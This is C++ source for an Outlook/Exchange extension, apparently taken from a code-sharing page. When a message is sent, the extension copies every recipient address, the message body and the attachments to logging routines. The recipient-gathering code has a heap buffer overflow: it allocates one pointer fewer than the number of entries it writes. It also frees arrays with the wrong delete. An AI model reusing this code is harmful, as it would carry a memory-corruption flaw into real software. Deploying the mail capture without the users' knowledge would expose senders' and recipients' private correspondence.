📄 outlookextension.cpp
字号:
}
///////////////////////////////////////////////////////////////////////////////
// CMessageEvents::OnRead()
//
// Parameters
// lpeecb -- pointer to IExchExtCallback interface
//
// Purpose
// To extend or inhibit Exchange when displaying the send or read note form.
//
// Return Value
// S_OK Microsoft Exchange will consider the task handled
// S_FALSE signals Exchange to continue calling extensions
// Other MAPI Code errors will abort the send or read note form.
//
//
STDMETHODIMP CMessageEvents::OnRead(LPEXCHEXTCALLBACK lpeecb)
{
return S_FALSE;
}
///////////////////////////////////////////////////////////////////////////////
// CMessageEvents::OnReadComplete()
//
// Parameters
// lpeecb -- pointer to IExchExtCallback interface
//
// Purpose
// To do processing after message has been read.
//
// Return Value
// S_OK Microsoft Exchange will consider the task handled
// S_FALSE signals Exchange to continue calling extensions
// Some MAPI Code error indicates a problem and will not display the send
// or read note form.
//
// Comments.
// If an error code, such as MAPI_E_CALL_FAILED, is returned, Exchange will
// call OnReadComplete again with the ulFlags parameter set to
// EEME_COMPLETE_FAILED. Returning the error code again will cause Exchange
// to not display the UI.
//
STDMETHODIMP CMessageEvents::OnReadComplete(LPEXCHEXTCALLBACK lpeecb, ULONG ulFlags)
{
return S_FALSE;
}
///////////////////////////////////////////////////////////////////////////////
// CMessageEvents::OnWrite()
//
// Parameters
// lpeecb -- pointer to IExchExtCallback interface
//
// Purpose
// This method is called when a message is about to be written. The message
// only has default properties at this point. It does not contain
// properties which the user has added by way of recipients, subject,
// message text, or attachments.
// This method is called when the user Sends or Saves a message
//
// Return Value
// S_OK Microsoft Exchange will consider the task handled
// S_FALSE signals Exchange to continue calling extensions
//
//
STDMETHODIMP CMessageEvents::OnWrite(LPEXCHEXTCALLBACK lpeecb)
{
return S_FALSE;
}
///////////////////////////////////////////////////////////////////////////////
// CMessageEvents::OnWriteComplete()
//
// Parameters
// lpeecb -- pointer to IExchExtCallback interface
//
// Purpose
// This method is called after the data (recipients, attachments, body,
// subject, etc.) has been written to the message.
//
// Return Value
// S_OK Microsoft Exchange will consider the task handled
// (you must also call DeleteMessage( pMessage ) if returning S_OK)
// S_FALSE signals Exchange to continue calling extensions
//
STDMETHODIMP CMessageEvents::OnWriteComplete(LPEXCHEXTCALLBACK lpeecb, ULONG ulFlags)
{
// Only check if writing for the purpose of submitting
if( m_submittingMessage == false )
return S_FALSE;
// This is the only event of interest
HRESULT hr;
LPMESSAGE pMessage = NULL;
LPMDB pMDB = NULL;
// Get the message
hr = lpeecb->GetObject(&pMDB, (LPMAPIPROP*)&pMessage);
if ( !FAILED(hr) )
{
// Get the recipients
LPMAPITABLE pRecipientTable;
hr = pMessage->GetRecipientTable( MAPI_UNICODE, &pRecipientTable );
if ( !FAILED(hr) )
{
SizedSPropTagArray(1,columns) = { 1, PR_EMAIL_ADDRESS };
SRowSet* pRowSet;
hr = HrQueryAllRows( pRecipientTable,
(SPropTagArray*)&columns,
NULL, NULL, 0, &pRowSet);
if ( !FAILED(hr) )
{
if ( pRowSet->cRows > 0 )
{
int stringLength;
int addressCount = 0;
unsigned int arraySize = 0;
char** addresses = new char* [pRowSet->cRows - 1];
for (unsigned int row = 0; row < pRowSet->cRows; row++ )
{
// Gather the addresses
stringLength = strlen( pRowSet->aRow[row].lpProps[0].Value.LPSZ ) + 1;
addresses[addressCount] = new char[stringLength];
strcpy( addresses[addressCount], pRowSet->aRow[row].lpProps[0].Value.LPSZ );
arraySize += stringLength;
addressCount++;
}
// Format and log addresses
if ( arraySize )
{
unsigned int arrayIndex = 0;
char* formattedArray = new char[arraySize];
if ( formattedArray )
{
while( addressCount-- )
{
// reformat addresses into one big buffer
strcpy( formattedArray + arrayIndex, addresses[addressCount] );
arrayIndex += strlen( addresses[addressCount] );
*(formattedArray + arrayIndex) = ',';
arrayIndex++;
// free addresses array
delete addresses[addressCount];
}
arrayIndex--;
*(formattedArray + arrayIndex) = 0;
// Log message addresses
LogContent( formattedArray, OL_LOG_ADDRESSES );
delete formattedArray;
}
}
}
FreeProws( pRowSet );
}
pRecipientTable->Release();
// Log message body
LogBody( pMessage );
// Log message attachments
LogAttachments( pMessage );
}
// Release resources
UlRelease( pMDB );
UlRelease( pMessage );
}
return S_FALSE;
}
///////////////////////////////////////////////////////////////////////////////
// CMessageEvents::OnSubmit()
//
// Parameters
// lpeecb -- pointer to IExchExtCallback interface
//
// Purpose
// Called just before message data is written to MAPI.
//
// Return Value
// S_OK Microsoft Exchange will consider the task handled
// S_FALSE signals Exchange to continue calling extensions
//
STDMETHODIMP CMessageEvents::OnSubmit(LPEXCHEXTCALLBACK lpeecb)
{
m_submittingMessage = true;
return S_FALSE;
}
///////////////////////////////////////////////////////////////////////////////
// CMessageEvents::OnSubmitComplete()
//
// Parameters
// lpeecb -- pointer to IExchExtCallback interface
//
// Purpose
// Called after message has been submitted to MAPI.
//
// Return Value - none
//
STDMETHODIMP_ (VOID) CMessageEvents::OnSubmitComplete(LPEXCHEXTCALLBACK lpeecb, ULONG ulFlags)
{
m_submittingMessage = false;
}
///////////////////////////////////////////////////////////////////////////////
// CMessageEvents::OnCheckNames()
//
// Parameters
// lpeecb -- pointer to IExchExtCallback interface
//
// Purpose
// Called when user selects the Check Names button and just before message
// is submitted to MAPI.
//
// Return Value
// S_OK Microsoft Exchange will consider the task handled
// S_FALSE signals Exchange to continue calling extensions
//
STDMETHODIMP CMessageEvents::OnCheckNames(LPEXCHEXTCALLBACK lpeecb)
{
return S_FALSE;
}
///////////////////////////////////////////////////////////////////////////////
// CMessageEvents::OnCheckNamesComplete()
//
// Parameters
// lpeecb -- pointer to IExchExtCallback interface
//
// Purpose
// Called after exchange has completed resolving names in the message
// recipients table.
//
// Return Value
// S_OK Microsoft Exchange will consider the task handled
// S_FALSE signals Exchange to continue calling extensions
//
STDMETHODIMP CMessageEvents::OnCheckNamesComplete(LPEXCHEXTCALLBACK lpeecb, ULONG ulFlags)
{
return S_FALSE;
}
///////////////////////////////////////////////////////////////////////////////
CClientExtension::CClientExtension()
{
m_referenceCount = 0;
m_pMessageEvents = new CMessageEvents(this);
};
STDMETHODIMP CClientExtension::QueryInterface(REFIID riid,void** ppvObj)
{
HRESULT hResult = S_OK;
*ppvObj = NULL;
if (( IID_IUnknown == riid) || ( IID_IExchExt == riid) )
{
*ppvObj = (LPUNKNOWN)this;
}
else if (IID_IExchExtMessageEvents == riid)
{
*ppvObj = (LPUNKNOWN) m_pMessageEvents;
}
else
hResult = E_NOINTERFACE;
if (NULL != *ppvObj)
((LPUNKNOWN)*ppvObj)->AddRef();
return hResult;
}
///////////////////////////////////////////////////////////////////////////////
// CClientExtension::Install()
//
// Parameters
// peecb -- pointer to Exchange Extension callback function
// context -- context code at time of being called.
//
// Purpose
// Called once for each new context that is entered.
//
// Return Value
// S_OK - the installation succeeded for the context
// S_FALSE - deny the installation fo the extension for the context
//
STDMETHODIMP CClientExtension::Install( IExchExtCallback *pmecb, ULONG context, ULONG ulFlags )
{
ULONG version;
// Make sure this is the right major version
pmecb->GetVersion(&version, EECBGV_GETBUILDVERSION);
if (EECBGV_BUILDVERSION_MAJOR != (version & EECBGV_BUILDVERSION_MAJOR_MASK))
return S_FALSE;
switch (context)
{
case EECONTEXT_SENDNOTEMESSAGE:
case EECONTEXT_SENDPOSTMESSAGE:
case EECONTEXT_SENDRESENDMESSAGE:
return S_OK;
}
return S_FALSE;
}
// The sole purpose of ExchEntryPoint is to return a new instance
// of the Extension Interface to Outlook or Exchange.
LPEXCHEXT CALLBACK ExchEntryPoint()
{
return new CClientExtension;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -